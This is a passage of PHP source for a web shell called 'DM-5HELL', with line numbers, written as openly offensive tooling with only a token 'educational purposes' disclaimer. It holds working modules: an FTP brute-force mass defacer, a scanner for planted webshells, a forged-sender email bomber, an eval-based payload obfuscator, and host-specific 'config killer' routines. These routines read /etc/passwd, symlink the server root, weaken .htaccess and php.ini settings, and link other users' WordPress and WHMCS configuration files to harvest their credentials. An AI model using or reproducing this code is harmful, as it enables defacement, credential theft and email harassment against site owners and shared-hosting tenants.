2098<table class='tabnet' style='padding:0 1px;'>
2099<tr><th align='center'><b>DISCLAIMER</b></th></tr>
2100<tr><td align='left'><nobr>
2101<span class='b12'>THIS TOOL WAS WRITTEN FOR
2102EDUCATIONAL PURPOSES.</span></nobr></td></tr>
2103<tr><td align='left'><nobr>
2104<span class='b12'>ONLY USE THIS TOOL ON WEBSITES YOU ARE ALLOWED TO TEST.</span></nobr></td></tr>
2105<tr><td align='left'><nobr>
2106<span class='b12'> IF YOU DON'T AGREE WITH WHAT I
2107SAID, PLEASE DON'T USE THIS TOOL.</span></td></tr>
2108<tr><td align='left'><nobr>
2109<span class='b12'> THE AUTHOR CANNOT AND WILL NOT IN ANY WAY LIABLE FOR ANY LOSS OR
2110 DAMAGE ARISING WITH THE USE OF THIS TOOL. </span></nobr></td></tr>
2111<tr><td align='left'><nobr>
2112<span class='b12'>USE IT UNDER YOUR OWN RISK !!!!!!</span>
2113</nobr></td></tr>
2114<tr><td align='left'><nobr>
2115<span class='b12'>THANKS...</span>
2116</nobr></td></tr>
2117</table><br><br>
2118</html>";
2119 echo "<div align='center'><br><br>
2120<table class='tabnet' style='padding:0 1px;'>
2121<tr><th align='center'><b>ABOUT DM-5HELL</b></th></tr>
2122<tr>
2123<td>
2124<table border=1>
2125<tr>
2126<td>Author</td>
2127<td>Andripzf</td>
2128</tr>
2129<tr>
2130<td>Design</td>
2131<td>Andripzf</td>
2132</tr>
2133<tr>
2134<td>Adding Exploit</td>
2135<td>Andripzf</td>
2136</tr>
2137<tr>
2138<td>Basic Shell</td>
2139<td>b374k m1n1 PHP Shell</td>
2140</tr>
2141<tr>
2142<td>Bypass Symlink</td>
2143<td><nobr>Thanks to Mauritania, Mr.Alasaek,Lagripe-Dz, PakCyber, BD Cyber Army</nobr></td>
2144</tr>
2145<tr>
2146<td>Whmcs Exploit</td>
2147<td><nobr>Thanks to Rab3oun, g00n, theMaster,Lagripe-Dz, X3group</nobr></td>
2148</tr>
2149<tr>
2150<td>WP Exploit</td>
2151<td>Thanks to XTTG, Lagripe-Dz</td>
2152</tr>
2153<tr>
2154<td>Joomla Exploit</td>
2155<td>Thanks to XTTG, Lagripe-Dz</td>
2156</tr>
2157<tr>
2158<td>VB Exploit</td>
2159<td>Thanks to Tryag</td>
2160</tr>
2161<tr>
2162<td>Config Killer Exploit</td>
2163<td><nobr>Thanks to Indishell, Anonghost, Lagripe-Dz, Indrajith</nobr></td>
2164</tr>
2165<tr>
2166<td>Security Bypass Exploit</td>
2167<td>Thanks to Mauritania, Lagripe-Dz </td>
2168</tr>
2169<tr>
2170<td>Greetz To</td>
2171<td><nobr>Exploit-DB, 1337 0day, All Moeslim Hackers And Coders In The World</nobr></td>
2172</tr>
2173
2174</table>
2175</td></tr>
2176</table><br><br>
2177</html>";
2178?>
2179
2180
2181<?php
2182}
2183// x=coding
2184elseif (isset($_GET['x']) && ($_GET['x'] == 'coding')) {
2185 // encode & decode
2186
2187?>
2188<form action="?dm=<?php echo $pwd; ?>&x=coding" method="post">
2189
2190<?php {
2191 echo "<br><br><center><div id=result> <nobr><b><span class='b7'>O=:[ ENCODE & DECODE ]:=O</span></b></nobr><br/><br/>
2192<form method='post'><table class=tbl>
2193<tr><td>Method : <select name='typed' style='color:blue; background-color:black; border:1px solid #666;'>
2194<option>Encode</option><option>Decode</decode></select> </td></tr>
2195<tr><td>TYPE : <select name='typenc' style='color:blue; background-color:black; border:1px solid #666;'>
2196<option>GZINFLATE</option><option>GZUNCOMPRESS</option><option>STR_ROT13</option></tr>
2197</td>
2198<tr><td>
2199<textarea spellcheck='false' style='color:blue;background-color:#000000' cols='80' rows='25' name='php_content'></textarea></tr>
2200</td></table><hr/><input style='color:blue;background-color:#000000' type='submit' value=' >> ' /><br /><hr /><br /></form></div>";
2201 $meth_d = $_POST['typed'];
2202 $typ_d = $_POST['typenc'];
2203 $c_ntent = $_POST['php_content'];
2204 $c_ntent = $c_ntent;
2205 switch ($meth_d) {
2206 case "Encode":
2207 switch ($typ_d) {
2208 case "GZINFLATE":
2209 $res_t = base64_encode(gzdeflate(trim(stripslashes($c_ntent . ' '), '<?php, ?>'), 9));
2210 $res_t = "<?php eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
2211 break;
2212 case "GZUNCOMPRESS":
2213 $res_t = base64_encode(gzcompress(trim(stripslashes($c_ntent . ' '), '<?php, ?>'), 9));
2214 $res_t = "<?php eval(gzuncompress(base64_decode(\"$res_t\"))); ?>";
2215 break;
2216 case "STR_ROT13":
2217 $res_t = trim(stripslashes($c_ntent . ' '), '<?php, ?>');
2218 $res_t = base64_encode(str_rot13($res_t));
2219 $res_t = "<?php eval(str_rot13(base64_decode(\"$res_t\"))); ?>";
2220 break;
2221 }
2222 break;
2223 case "Decode":
2224 switch ($typ_d) {
2225 case "GZINFLATE":
2226 $res_t = gzinflate(base64_decode($c_ntent));
2227 break;
2228 case "GZUNCOMPRESS":
2229 $res_t = gzuncompress(base64_decode($c_ntent));
2230 break;
2231 case "STR_ROT13":
2232 $res_t = str_rot13(base64_decode($c_ntent));
2233 break;
2234 }
2235 break;
2236 }
2237 echo "<center><div id=result><textarea spellcheck='false' style='color:blue;background-color:#000000' cols='80' rows='25'>" . htmlspecialchars($res_t) . "</textarea></center></div>";
2238 }
2239?>
2240
2241<?php
2242}
2243# x=sscan
2244elseif (isset($_GET['x']) && ($_GET['x'] == 'cp2')) {
2245?>
2246<form action="?dm=<?php echo $pwd; ?>&x=cp2" method="post">
2247
2248<br/><br/><center><nobr><b><span class='b7'>O=:[ FTP MASS DEFACE ]:=O</span></b></nobr><br/><br/>
2249
2250<form method="post">
2251<center>
2252 IP Server:<input type="text" name="ip" value="127.0.0.1" />
2253 <p> </p>
2254 User's List:<br>
2255 <textarea rows="10" style="width:35%;" name="users" value="The Users List"></textarea>
2256 <p> </p>
2257 Password's List:<br>
2258 <textarea rows="10" style="width:35%;" name="passwords" value="The Password List"></textarea>
2259 <p> </p>
2260 Index File Name:<input type="text" name="index_name" value="index.php" /><br>
2261 <p> </p>
2262 Index File Link:<input type="text" name="index_link" value="index.txt" /><br>
2263 <p> </p>
2264 <input type="submit" name="forest" value="Mass Deface it" /><br><br>
2265 </form></center>
2266
2267<?php
2268 set_time_limit(0);
2269 if (isset($_POST['forest'])) {
2270 $ip = trim($_POST['ip']);
2271 $users = explode("
2272", $_POST["users"]);
2273 $passwords = explode("
2274", $_POST["passwords"]);
2275 $index_name = trim($_POST['index_name']);
2276 $index_link = trim($_POST['index_link']);
2277 foreach ($users as $user) {
2278 foreach ($passwords as $pass) {
2279 $connect_ip = ftp_connect($ip) or die("Couldn't Connect To $ip");
2280 if (@ftp_login($connect_ip, trim($user), trim($pass))) {
2281 echo "<br>Connected To --> $ip@$user
2282";
2283 @ftp_delete($connect_ip, $index_name);
2284 $deface = ftp_put($connect_ip, "/public_html/" . $index_name, $index_link, FTP_ASCII);
2285 if ($deface) {
2286 echo "<br><font color=green> $user --> Deface Success!!</font>";
2287 break;
2288 } else {
2289 echo "<br><font color=red> $user --> Error Defacing!!</font>";
2290 }
2291 } else {
2292 echo "<br><font color=red>Couldn't Connect To --> $ip@$user --> $pass</font>
2293";
2294 }
2295 }
2296 }
2297 echo "<br><font size=5> ! Mass Defacing Was Done ! </font>";
2298 }
2299?>
2300
2301<?php
2302}
2303# x=sscan
2304elseif (isset($_GET['x']) && ($_GET['x'] == 'sscan')) {
2305?>
2306<form action="?dm=<?php echo $pwd; ?>&x=sscan" method="post">
2307
2308<br><br><center><div id=result> <nobr><b><span class='b7'>O=:[ SHELL SCANNER ]:=O</span></b></nobr><br/><br/>
2309
2310<table><form method='POST'>
2311<tr><td>URL TARGET : <input size=40 style='color:#FF0000;background-color:#000000' name='rem_web' value='http://'></td></tr>
2312<tr><td><font color=red>INPUT NAMA FILE / SHELL</font></tr></td>
2313<tr><td><textarea spellcheck='false' class='textarea_edit' style='color:#FF0000;background-color:#000000' cols=50 rows=30 name='tryzzz'>
2314
2315WSO.php
2316dz.php
2317cpanelcracker.php
2318blackshadow.php
2319sym.php
2320ftpcracker.php
2321cpanel.php
2322cpn.php
2323sql.php
2324mysql.php
2325madspot.php
2326itsecteam_shell.php
2327b374k.php
2328madsopot.php
2329indishell.php
2330Cgishell.pl
2331killer.php
2332changeall.php
23332.php
2334Sh3ll.php
2335dz0.php
2336dam.php
2337user.php
2338dom.php
2339whmcs.php
2340r00t.php
2341c99.php
2342gaza.php
2343q.php
23441.php
2345d0mains.php
2346madspotshell.php
2347Sym.php
2348c22.php
2349c100.php
2350Cpanel.php
2351zone-h.php
2352cp.php
2353L3b.php
2354d.php
2355admin1.php
2356upload.php
2357up.php
2358uploads.php
2359sa.php
2360r57.php
2361shell.php
2362sa.php
2363</textarea></td></tr>
2364<tr><td><br /><input type='submit' style='color:#FF0000;background-color:#000000' value=' >> SCAN >> ' class='input_big' /><br /><br /></td></tr></form></table><br /><br /><hr /><br /><br />
2365
2366<?php
2367 set_time_limit(0);
2368 $rtr = array();
2369 echo "<div id=result><center><table>";
2370 $webz = $_POST['rem_web'];
2371 $uri_in = $_POST['tryzzz'];
2372 $r_xuri = trim($uri_in);
2373 $r_xuri = explode("
2374", $r_xuri);
2375 foreach ($r_xuri as $rty) {
2376 $urlzzx = $webz . $rty;
2377 if (function_exists('curl_init')) {
2378 echo "<tr><td style='text-align:left'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
2379 $ch = curl_init($urlzzx);
2380 curl_setopt($ch, CURLOPT_NOBODY, true);
2381 curl_exec($ch);
2382 $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
2383 curl_close($ch);
2384 if ($status_code == 200) {
2385 echo "<td style='text-align:left'><font color=green> Found....</font></td></tr>";
2386 } else {
2387 echo "<td style='text-align:left'><font color=red>Not Found...</font></td></tr>";
2388 }
2389 } else {
2390 echo "<font color=red>cURL Not Found </font>";
2391 }
2392 }
2393 echo "</table><br /><br /><hr /><br /><br /></div>";
2394?>
2395
2396<?php
2397}
2398# x=bomail
2399elseif (isset($_GET['x']) && ($_GET['x'] == 'bomail')) {
2400?>
2401<form action="?y=<?php echo $pwd; ?>&x=email" method="post">
2402<html>
2403<head><title>./DM TE4M</title>
2404</head>
2405<center><body bgcolor="black">
2406<a href="http://www.facebook.com/groups/D.MASTERPIECE"><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"></a><br><br>
2407<span style="color:white"> --=|[+] BOMB FAKE EMAIL [+]|=--<br/></center>
2408 <span style="color:#00FF00"><hr></span>
2409<form method=post>
2410<input type=hidden value=dm name=dm>
2411<center><span style="color:#00FF00">-:[ X-EMAIL ]:-</span><br/>
2412 <span style="color:white">**Isi Dengan Nama Email Palsu**<br/>
2413<input style="color:lime;background-color:#000000" name=wew value="<?echo $wew; ?>"></center>
2414<br/>
2415<center><span style="color:#00FF00">-:[ EMAIL TUJUAN ]:-</span><br/>
2416 <span style="color:white">**Isi Email Target Bomb Email**</span><br/>
2417<input style="color:lime;background-color:#000000" name=wow value="<?echo $wow; ?>"></center>
2418<br/>
2419<center><span style="color:#00FF00">-:[ SUBJECT ]:-</span> <br/>
2420 <span style="color:white">**Isi Nama Judul Pesan**</span><br/>
2421<input style="color:lime;background-color:#000000" name=anu value="<?echo $anu; ?>"></center>
2422<br/>
2423<center><span style="color:#00FF00">-:[ JUMLAH KIRIM ]:-</span><br/>
2424 <span style="color:white">**Isi Nominal Antara 0 s/d 100**</span><br/>
2425<input style="color:lime;background-color:#000000" name=sodok value="<?echo $sodok; ?>"></center>
2426<br/>
2427<center><span style="color:#00FF00">-:PESAN ]:-</span><br/>
2428 <span style="color:white">**Tulis Pesan Kamu**</span><br/>
2429<textarea style="color:lime;background-color:#000000" cols="30" rows="50" name=deathnote><?echo $deathnote?></textarea><br/>
2430<p>
2431<input style="color:lime;background-color:#000000" type=submit value=./CROTZ></center></form>
2432<span style="color:#00FF00"><hr></span>
2433 <span style="color:yellow">
2434<?php
2435 //DMASTERPIECE TE4M Introduction
2436 $dm = $_POST['dm'];
2437 //Fungsi Pengirim Email
2438 $wew = $_POST['wew'];
2439 //Fungsi Penerima Email
2440 $wow = $_POST['wow'];
2441 //Fungsi Jumlah Pesan Yg Akan Di Kirim
2442 $sodok = $_POST['sodok'];
2443 //Fungsi Subject Atau Judul
2444 $anu = $_POST['anu'];
2445 //Fungsi Isi Pesan
2446 $deathnote = $_POST['deathnote'];
2447 if ($dm == "dm") {
2448 for ($i = 0;$i < $sodok;$i++) {
2449 $a = $wew;
2450 $janda = $anu . $i;
2451 mail($wow, $janda, $deathnote . str_repeat(" ", 0 * $xdm), "From: $a <$a>
2452");
2453 }
2454 echo (" <center>* SUKSES :D | HAJAR LAGI BOS :P *</center>");
2455 }
2456 //WE ARE DMASTERPIECE
2457 //WE ARE LEGION
2458 //WE ARE FAMILY
2459 //WE DO NOT FORGIVE
2460 //WE DO NOT FORGET
2461 //EXPECT US
2462 exit;
2463?>
2464
2465
2466<?php
2467}
2468# x=plesk
2469elseif (isset($_GET['x']) && ($_GET['x'] == 'plesk')) { ?>
2470<form action="?dm=<?php echo $pwd; ?>&x=plesk" method="post">
2471<?php
2472 @mkdir('plesk', 0777);
2473 $hta = "Options all
2474
2475DirectoryIndex Sux.html
2476
2477AddType text/plain .php
2478
2479AddHandler server-parsed .php";
2480 $htaccess = @fopen('plesk/.htaccess', 'w');
2481 fwrite($htaccess, $hta);
2482 @symlink("/", "plesk/dm.txt");
2483?>
2484
2485<?php
2486}
2487// x=apache
2488elseif (isset($_GET['x']) && ($_GET['x'] == 'apache')) {
2489 // symlink apache + config killer
2490
2491?>
2492<form action="?dm=<?php echo $pwd; ?>&x=apache" method="post">
2493<?php
2494 $head = '
2495<html>
2496<head>
2497</script>
2498<title>APACHE</title>
2499<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2500<script language=\'javascript\'>
2501function hide_div(id)
2502{
2503 document.getElementById(id).style.display = \'none\';
2504 document.cookie=id+\'=0;\';
2505}
2506function show_div(id)
2507{
2508 document.getElementById(id).style.display = \'block\';
2509 document.cookie=id+\'=1;\';
2510}
2511function change_divst(id)
2512{
2513if (document.getElementById(id).style.display == \'none\')
2514show_div(id);
2515else
2516hide_div(id);
2517}
2518</script>'; ?>
2519<html>
2520<head>
2521<?php echo $head; ?>
2522<body bgcolor=black><center><br/><br/> <img src="http://silk.apana.org.au/graphics/apache_logo.gif">
2523<form method=post><br/><br/>
2524<nobr><b><span class='b7'>O=:[ APACHE TOOLS ]:=O</span></b></nobr><br/><br/>
2525<p><input type=submit style=color:blue;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2526
2527<?php
2528 if (isset($_POST['usre'])) {
2529?>
2530<form method=post>
2531<textarea rows=20 style=color:blue;background-color:#000000 cols=60 name=user><?php $users = file("/etc/passwd");
2532 foreach ($users as $user) {
2533 $str = explode(":", $user);
2534 echo $str[0] . "
2535";
2536 }
2537?></textarea><br><br>
2538<input type=submit style=color:blue;background-color:#000000 name=su value="EXECUTE" /></form><br/>
2539<?php
2540 } ?>
2541
2542<?php
2543 error_reporting(0);
2544 if (isset($_POST['su'])) {
2545 mkdir('dm', 0777);
2546 $rr = "Options all
2547DirectoryIndex Sux.html
2548AddType text/plain .php
2549AddType text/plain .html
2550AddType text/plain .bak
2551AddType text/plain .old
2552
2553AddHandler server-parsed .php
2554AddHandler txt .html
2555
2556Require None
2557 Satisfy Any";
2558 $g = fopen('dm/.htaccess', 'w');
2559 fwrite($g, $rr);
2560 $dm = symlink("/", "dm/dm.txt");
2561 $rt = "<a href=dm/dm.txt><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2562 echo "<nobr>[~] ";
2563 echo "$rt";
2564 $dir = mkdir('DM', 0777);
2565 $r = "Options all
2566DirectoryIndex Sux.html
2567AddType text/plain .php
2568AddType text/plain .html
2569AddType text/plain .bak
2570AddType text/plain .old
2571
2572AddHandler server-parsed .php
2573AddHandler txt .html
2574Require None
2575Satisfy Any";
2576 $f = fopen('DM/.htaccess', 'w');
2577 fwrite($f, $r);
2578 $consym = "<a href=DM/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
2579 echo " [~] ";
2580 echo "$consym";
2581 echo " [~]</nobr>";
2582 $usr = explode("
2583", $_POST['user']);
2584 $configuration = array("aksi.php", "aksi.php.old", "aksi.php.bak", "conf.php", "conf.php.old", "conf.php.bak", "conf_global.php", "conf_global.php.old", "conf_global.php.bak", "config.php", "config.php.old", "config.php.bak", "configuration.php", "configuration.php.old", "configuration.php.bak", "conn.php", "conn.php.old", "conn.php.bak", "connect.php", "connect.php.old", "connect.php.bak", "connection.php", "connection.php.old", "connection.php.bak", "db.php", "db.php.old", "db.php.bak", "database.php", "database.php.old", "database.php.bak", "inc.php", "inc.php.old", "inc.php.bak", "koneksi.php", "koneksi.php.old", "koneksi.php.bak", "mysql.php", "myqsl.php.old", "mysql.php.bak", "setting.php", "setting.php.old", "setting.php.bak", "Settings.php", "Settings.php.old", "Settings.php.bak", "sql.php", "sql.php.old", "sql.php.bak");
2585 foreach ($usr as $uss) {
2586 $us = trim($uss);
2587 foreach ($configuration as $c) {
2588 $rs = "/home/" . $us . "/public_html/" . $c;
2589 $r = "DM/" . $us . "~" . $c;
2590 symlink($rs, $r);
2591 }
2592 }
2593 }
2594?>
2595
2596<?php
2597}
2598// x=hostgator
2599elseif (isset($_GET['x']) && ($_GET['x'] == 'hostgator')) {
2600 // symlink hostgator + config killer
2601
2602?>
2603<form action="?dm=<?php echo $pwd; ?>&x=hostgator" method="post">
2604<?php
2605 $head = '
2606<html>
2607<head><title>HOSTGATOR</title>
2608<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2609<script language=\'javascript\'>
2610function hide_div(id){
2611 document.getElementById(id).style.display = \'none\';
2612 document.cookie=id+\'=0;\';
2613}
2614
2615function show_div(id){
2616document.getElementById(id).style.display = \'block\';
2617document.cookie=id+\'=1;\';
2618}
2619
2620function change_divst(id){
2621if (document.getElementById(id).style.display == \'none\')
2622show_div(id);
2623else
2624hide_div(id);
2625}
2626</script>'; ?>
2627<html>
2628<head>
2629<?php echo $head; ?>
2630<body bgcolor=black><center><br/><br/><img src="http://partnernoc.cpanel.net/logo/822-4021-logo.png">
2631<form method=post><br/><br/>
2632<nobr><b><span class='b7'>O=:[ HOSTGATOR TOOLS ]:=O</span></b></nobr><br/><br/>
2633<p><input type=submit style=color:blue;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2634
2635<?php
2636 if (isset($_POST['usre'])) {
2637?>
2638<form method=post>
2639<textarea rows=20 style=color:blue;background-color:#000000 cols=60 name=user><?php $users = file("/etc/passwd");
2640 foreach ($users as $user) {
2641 $str = explode(":", $user);
2642 echo $str[0] . "
2643";
2644 }
2645?></textarea><br><br>
2646<input type=submit style=color:blue;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
2647<?php
2648 } ?>
2649
2650<?php
2651 error_reporting(0);
2652 if (isset($_POST['su'])) {
2653 mkdir('hostgator', 0777);
2654 $r = "Options +FollowSymLinks
2655
2656DirectoryIndex Sux.html
2657
2658Options +Indexes
2659
2660AddType text/plain .php
2661
2662AddHandler server-parsed .php
2663
2664AddType text/plain.html ";
2665 $g = fopen('hostgator/.htaccess', 'w');
2666 fwrite($g, $rr);
2667 $dm = symlink("/", "hostgator/dm.ini");
2668 $rt = "<a href=hostgator/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2669 echo "<nobr>[~] ";
2670 echo "$rt";
2671 $dir = mkdir('HOSTGATOR', 0777);
2672 $rr = "Safe_mode = OFF
2673
2674Disable_functions = NONE
2675
2676Open_basedir = OFF";
2677 $f = fopen('HOSTGATOR/php.ini', 'w');
2678 fwrite($f, $rr);
2679 $rrr = "Options +FollowSymLinks
2680
2681DirectoryIndex Sux.html
2682
2683Options +Indexes
2684
2685AddType text/plain .php
2686
2687AddHandler server-parsed .php
2688
2689AddType text/plain.html ";
2690 $ff = fopen('HOSTGATOR/.htaccess', 'w');
2691 fwrite($ff, $rrr);
2692 $consym = "<a href=HOSTGATOR/>
2693<span class='b11'>[ CONFIG KILLER ]</span></b></a>";
2694 echo " [~] ";
2695 echo "$consym";
2696 echo " [~]</nobr>";
2697 $usr = explode("
2698", $_POST['user']);
2699 $configuration = array("wp-config.ini", "wordpress/wp-config.ini", "configuration.ini", "blog/wp-config.ini", "joomla/configuration.ini", "vb/includes/config.ini", "includes/config.ini", "conf_global.ini", "inc/config.ini", "config.ini", "Settings.ini", "sites/default/settings.ini", "whm/configuration.ini", "whmcs/configuration.ini", "support/configuration.ini", "whmc/WHM/configuration.ini", "whm/WHMCS/configuration.ini", "whm/whmcs/configuration.ini", "support/configuration.ini", "clients/configuration.ini", "client/configuration.ini", "clientes/configuration.ini", "cliente/configuration.ini", "clientsupport/configuration.ini", "billing/configuration.ini", "admin/config.ini");
2700 foreach ($usr as $uss) {
2701 $us = trim($uss);
2702 foreach ($configuration as $c) {
2703 $rs = "/home/" . $us . "/public_html/" . $c;
2704 $r = "HOSTGATOR/" . $us . "~" . $c;
2705 symlink($rs, $r);
2706 }
2707 }
2708 }
2709?>
2710
2711<?php
2712}
2713// x=bluehost
2714elseif (isset($_GET['x']) && ($_GET['x'] == 'bluehost')) {
2715 // symlink bluehost + config killer
2716
2717?>
2718<form action="?dm=<?php echo $pwd; ?>&x=bluehost" method="post">
2719<?php
2720 $head = '
2721<html>
2722<head><title>BLUEHOST</title>
2723<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2724<script language=\'javascript\'>
2725function hide_div(id){
2726 document.getElementById(id).style.display = \'none\';
2727 document.cookie=id+\'=0;\';
2728}
2729
2730function show_div(id){
2731document.getElementById(id).style.display = \'block\';
2732document.cookie=id+\'=1;\';
2733}
2734
2735function change_divst(id){
2736if (document.getElementById(id).style.display == \'none\')
2737show_div(id);
2738else
2739hide_div(id);
2740}
2741</script>'; ?>
2742<html>
2743<head>
2744<?php echo $head; ?>
2745<body bgcolor=black>
2746<center><br/><br/>
2747<img src="http://www.ananova.com/wp-content/uploads/2013/04/bluehost-review-by-toptenhostings.jpg">
2748<form method=post><br/><br/><nobr><b><span class='b7'>O=:[ BLUEHOST TOOLS ]:=O</span></b></nobr><br/><br/>
2749<p><input type=submit style=color:blue;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2750
2751<?php
2752 if (isset($_POST['usre'])) {
2753?>
2754<form method=post>
2755<textarea rows=20 style=color:blue;background-color:#000000 cols=60 name=user><?php $users = file("/etc/passwd");
2756 foreach ($users as $user) {
2757 $str = explode(":", $user);
2758 echo $str[0] . "
2759";
2760 }
2761?></textarea><br><br>
2762<input type=submit style=color:blue;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
2763<?php
2764 } ?>
2765<?php
2766 error_reporting(0);
2767 echo "<font color=white size=2 face=\"comic sans ms\">";
2768 if (isset($_POST['su'])) {
2769 mkdir('bluehost', 0777);
2770 $rr = "AllowOverride All None
2771
2772DirectoryIndex index.html index.htm index.php index.php4 index.php5
2773
2774AddType application/octet-stream .php
2775
2776AddHandler server-parsed .php
2777
2778Addhandler cgi-script .asp
2779
2780AddType ini .php
2781
2782AddHandler ini .php";
2783 $g = fopen('bluehost/.htaccess', 'w');
2784 fwrite($g, $rr);
2785 $dm = symlink("/", "bluehost/dm.ini");
2786 $rt = "<a href=bluehost/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2787 echo "<nobr>[~] ";
2788 echo "$rt";
2789 $dir = mkdir('BLUEHOST', 0777);
2790 $r = "Options all
2791 DirectoryIndex Sux.html
2792
2793AddType text/plain .php
2794
2795AddHandler server-parsed .php
2796
2797AddType text/plain .html
2798
2799AddHandler txt .html
2800
2801Require None
2802
2803Satisfy Any";
2804 $f = fopen('BLUEHOST/.htaccess', 'w');
2805 fwrite($f, $r);
2806 $consym = "<a href=BLUEHOST/><span class='b11'>[ CONFIG KILLER ]</span></b></a>";
2807 echo " [~] ";
2808 echo "$consym";
2809 echo " [~]</nobr>";
2810 $usr = explode("
2811", $_POST['user']);
2812 $configuration = array("wp-config.ini", "wordpress/wp-config.ini", "configuration.ini", "blog/wp-config.ini", "joomla/configuration.ini", "vb/includes/config.ini", "includes/config.ini", "conf_global.ini", "inc/config.ini", "config.ini", "Settings.ini", "sites/default/settings.ini", "whm/configuration.ini", "whmcs/configuration.ini", "support/configuration.ini", "whmc/WHM/configuration.ini", "whm/WHMCS/configuration.ini", "whm/whmcs/configuration.ini", "support/configuration.ini", "clients/configuration.ini", "client/configuration.ini", "clientes/configuration.ini", "cliente/configuration.ini", "clientsupport/configuration.ini", "billing/configuration.ini", "admin/config.ini");
2813 foreach ($usr as $uss) {
2814 $us = trim($uss);
2815 foreach ($configuration as $c) {
2816 $rs = "/home/" . $us . "/public_html/" . $c;
2817 $rs = "/home1/" . $us . "/public_html/" . $c;
2818 $rs = "/home2/" . $us . "/public_html/" . $c;
2819 $rs = "/home3/" . $us . "/public_html/" . $c;
2820 $rs = "/home4/" . $us . "/public_html/" . $c;
2821 $rs = "/home5/" . $us . "/public_html/" . $c;
2822 $rs = "/home6/" . $us . "/public_html/" . $c;
2823 $rs = "/home7/" . $us . "/public_html/" . $c;
2824 $rs = "/home8/" . $us . "/public_html/" . $c;
2825 $r = "BLUEHOST/" . $us . "~" . $c;
2826 symlink($rs, $r);
2827 }
2828 }
2829 }
2830?>
2831 <?php
2832}
2833// x=ovh
2834elseif (isset($_GET['x']) && ($_GET['x'] == 'ovh')) {
2835 // symlink ovh + config killer
2836
2837?>
2838<form action="?dm=<?php echo $pwd; ?>&x=ovh" method="post">
2839<?php
2840 $head = '
2841<html>
2842<head><title>OVH</title>
2843<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2844<script language=\'javascript\'>
2845function hide_div(id){
2846 document.getElementById(id).style.display = \'none\';
2847 document.cookie=id+\'=0;\';
2848}
2849
2850function show_div(id){
2851document.getElementById(id).style.display = \'block\';
2852document.cookie=id+\'=1;\';
2853}
2854
2855function change_divst(id){
2856if (document.getElementById(id).style.display == \'none\')
2857show_div(id);
2858else
2859hide_div(id);
2860}
2861</script>'; ?>
2862<html>
2863<head>
2864<?php echo $head; ?>
2865<body bgcolor=black><center><br/><br/><img src="http://alsace-international.eu/IMG/LOGOS/Entreprises/OVH_Logo.gif">
2866<form method=post><br/><br/>
2867<nobr><b><span class='b7'>O=:[ OVH TOOLS ]:=O</span></b></nobr><br/><br/>
2868<p><input type=submit style=color:blue;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2869
2870<?php
2871 if (isset($_POST['usre'])) {
2872?>
2873<form method=post>
2874<textarea rows=20 style=color:blue;background-color:#000000 cols=60 name=user><?php $users = file("/etc/passwd");
2875 foreach ($users as $user) {
2876 $str = explode(":", $user);
2877 echo $str[0] . "
2878";
2879 }
2880?></textarea><br><br>
2881<input type=submit style=color:blue;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
2882<?php
2883 } ?>
2884
2885<?php
2886 error_reporting(0);
2887 if (isset($_POST['su'])) {
2888 mkdir('ovh', 0777);
2889 $r = "AllowOverride All None
2890
2891DirectoryIndex index.html index.htm index.php index.php4 index.php5
2892
2893AddType application/octet-stream .php
2894
2895AddHandler server-parsed .php
2896
2897Addhandler cgi-script .asp
2898
2899AddType ini .php
2900
2901AddHandler ini .php";
2902 $g = fopen('ovh/.htaccess', 'w');
2903 fwrite($g, $rr);
2904 $dm = symlink("/", "ovh/dm.ini");
2905 $rt = "<a href=ovh/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2906 echo "<nobr>[~] ";
2907 echo "$rt";
2908 $dir = mkdir('OVH', 0777);
2909 $rr = "Safe_mode = OFF
2910
2911Disable_functions = NONE
2912
2913Open_basedir = OFF";
2914 $f = fopen('OVH/php.ini', 'w');
2915 fwrite($f, $rr);
2916 $rrr = "AllowOverride All None
2917
2918DirectoryIndex index.html index.htm index.php index.php4 index.php5
2919
2920AddType application/octet-stream .php
2921
2922AddHandler server-parsed .php
2923
2924AddHandler cgi-script .asp
2925
2926AddType ini .php
2927
2928AddHandler ini .php";
2929 $ff = fopen('OVH/.htaccess', 'w');
2930 fwrite($ff, $rrr);
2931 $consym = "<a href=OVH/>
2932<span class='b11'>[ CONFIG KILLER ]</span></b></a>";
2933 echo " [~] ";
2934 echo "$consym";
2935 echo " [~]</nobr>";
2936 $usr = explode("
2937", $_POST['user']);
2938 $configuration = array("wp-config.ini", "wordpress/wp-config.ini", "configuration.ini", "blog/wp-config.ini", "joomla/configuration.ini", "vb/includes/config.ini", "includes/config.ini", "conf_global.ini", "inc/config.ini", "config.ini", "Settings.ini", "sites/default/settings.ini", "whm/configuration.ini", "whmcs/configuration.ini", "support/configuration.ini", "whmc/WHM/configuration.ini", "whm/WHMCS/configuration.ini", "whm/whmcs/configuration.ini", "support/configuration.ini", "clients/configuration.ini", "client/configuration.ini", "clientes/configuration.ini", "cliente/configuration.ini", "clientsupport/configuration.ini", "billing/configuration.ini", "admin/config.ini");
2939 foreach ($usr as $uss) {
2940 $us = trim($uss);
2941 foreach ($configuration as $c) {
2942 $rs = "/homez.0/" . $us . "/www/" . $c;
2943 $rs = "/homez.1/" . $us . "/www/" . $c;
2944 $rs = "/homez.2/" . $us . "/www/" . $c;
2945 $rs = "/homez.3/" . $us . "/www/" . $c;
2946 $rs = "/homez.4/" . $us . "/www/" . $c;
2947 $rs = "/homez.5/" . $us . "/www/" . $c;
2948 $rs = "/homez.6/" . $us . "/www/" . $c;
